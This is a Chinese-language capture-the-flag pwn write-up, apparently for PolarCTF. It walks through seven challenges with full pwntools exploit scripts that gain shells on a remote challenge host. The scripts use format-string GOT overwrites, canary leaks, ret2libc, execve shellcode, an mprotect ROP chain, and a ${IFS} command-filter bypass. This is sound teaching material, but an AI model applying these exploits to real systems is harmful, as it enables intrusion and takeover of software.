nc

这题主要是通过nc连接后,输入相应的指令获得flag,因此可以不用关心开启的保护机制。

程序先判断用户输入的是否是$0,若为$0则进入special-mode,再看parse_special_command函数,不能使用cat flag指令获取flag,但可以使用cat${IFS}flag获取flag。

from pwn import*
io=remote('1.95.36.136',2066)

io.sendline(b'$0')
io.sendline(b'cat${IFS}flag')

io.interactive()

stackof

存在后门函数,只需要n49等于1。

from pwn import*
io=remote('1.95.36.136',2141)
#io=process('./stack_of')

payload=b'a'*109+b'1'
io.sendline(payload)

io.interactive()

fmt

32位,开启了NX和Partial RELRO,不存在后门函数,存在格式化字符串漏洞,泄漏libc,由于输入的字符串长度有限造成不了栈溢出,因此可以利用格式化字符串漏洞实现任意写,将printf的地址修改成system的地址,在下一次调用printf函数时,就相当于调用system函数,再输入/bin/sh字符串即可。

可以看出偏移量为8。

from pwn import*
elf=ELF('./fmt')
libc=ELF('./fmtlibc.so')
io=remote('1.95.36.136',2055)

puts_got=elf.got['puts']
printf_got=elf.got['printf']

io.sendlineafter(b'PolarCTF?',b'yes')

payload=p32(puts_got)+b'%8$s'
io.sendline(payload)
puts=u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']

payload=fmtstr_payload(8,{printf_got:system})
io.sendline(payload)

io.sendline(b'/bin/sh\x00')

io.interactive()

can_libc

开启了canary保护,因此得先泄漏canary的值,再打ret2libc。

可以算出canary的偏移为31,使用%31$p直接泄漏,再打ret2libc。

from pwn import*
from LibcSearcher import*
elf=ELF('./can_libc')
libc=ELF('./can_libc.so')
io=remote('1.95.36.136',2084)

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

io.sendline(b'%31$p')
io.recvuntil("0x")
canary=int(io.recv(8),16)
print(hex(canary))

payload=cyclic(0x70-0xc)+p32(canary)+cyclic(12)+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload)

puts=u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh'))

payload=cyclic(0x70-0xc)+p32(canary)+cyclic(12)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload)


io.interactive()

shellcode

程序一开始判断b的值是否为4,再将输入的字符串存放再buf1中,存在栈溢出且没有开启NX保护,因此可以打shellcode。首先就是先将b的值改为4,这里可以利用格式化字符串漏洞实现任意写(找偏移和前面是一致的,就不赘述了),再写小于0x20个字节的shellcode。

from pwn import*
context.arch='i386'
io=remote('1.95.36.136',2142)
#io=process('./shellcode')
shellcode='''
xor eax, eax ;
push eax ;
push 0x68732f2f ;
push 0x6e69622f ;
mov ebx, esp ;
xor ecx, ecx ;
xor edx, edx ;
mov al, 11 ;
int 0x80 ;
''' #23字节32位
shellcode=asm(shellcode)
b=0x0804A049
buf1=0x0804A060

#gdb.attach(io)

payload=fmtstr_payload(7,{b:4})
io.sendafter(b"hacker",payload)

io.sendafter(b"password:",shellcode)

payload=cyclic(76)+p32(buf1)
io.send(payload)

io.interactive()

call64

一道简单的64位静态编译,开启了NX与Partial RELRO保护。存在明显的栈溢出,那么打法就很丰富了,我使用的是先调用mprotect函数修改权限,再调用gets函数读入shellcode,再栈溢出执行shellcode。

from pwn import*
context.arch='amd64'
io=remote('1.95.36.136',2143)
#io=process('./call64')
elf=ELF('./call64')

gets=elf.sym['gets']
mprotect=elf.sym['mprotect']
main=elf.sym['main']

bss=0x06c9000
rax=0x041f804
rdi=0x0401636
rdx=0x0442cb6
rsi=0x0401757
rdx_rsi=0x0442cd9
ret=0x04002e1
syscall=0x04003da

m_start=0x06c9000
m_size=0x1000
m_proc=7

payload2=cyclic(0x30+8)+p64(rdi)+p64(m_start)+p64(rsi)+p64(m_size)+p64(rdx)+p64(m_proc)+p64(mprotect)+p64(main)
io.sendline(payload2)

payload3=cyclic(0x30+8)+p64(rdi)+p64(m_start)+p64(gets)+p64(main)
io.sendline(payload3)
io.sendline(asm(shellcraft.sh()))

payload4=cyclic(0x30+8)+p64(m_start)
io.sendline(payload4)

io.interactive()

hh

其实并不难,只是好像会输出一些垃圾数据,得先接受了再泄漏libc,挺烦的。

思路其实挺清晰的,开启了NX和canary保护,首先使用格式化字符串漏洞将值改为符合条件的值,再使用格式化字符串漏洞泄漏canary的值,最后打ret2libc。

from pwn import*
from LibcSearcher import*
elf=ELF('./hh1')
io=remote('1.95.36.136',2147)
#io=process('./hh1')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret_addr=0x8048681
hh=0x0804A06C
h=0x0804A070

#gdb.attach(io)

io.recv()

payload=fmtstr_payload(6,{hh:4})
io.send(payload)

io.recv()

payload=fmtstr_payload(6,{h:1280})
io.send(payload)

io.send(b'%31$p')
io.recvuntil(b"0x")
canary=int(io.recv(8),16)
print(hex(canary))

payload=p32(canary)*29+p32(puts_plt)+p32(ret_addr)+p32(puts_got)
io.recvline()
io.sendline(payload)
puts=u32(io.recvuntil('\xf7')[-4:].ljust(4,b'\x00'))
print(hex(puts))

libc=ELF('./hh1libc.so')
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

io.send(b'a')
payload=payload=p32(canary)*29+p32(system)+p32(ret_addr)+p32(bin_sh)
io.recvline()
io.sendline(payload)

io.interactive()

剩下3道堆题,等我再进一步堆的学习后再复现了(0w0)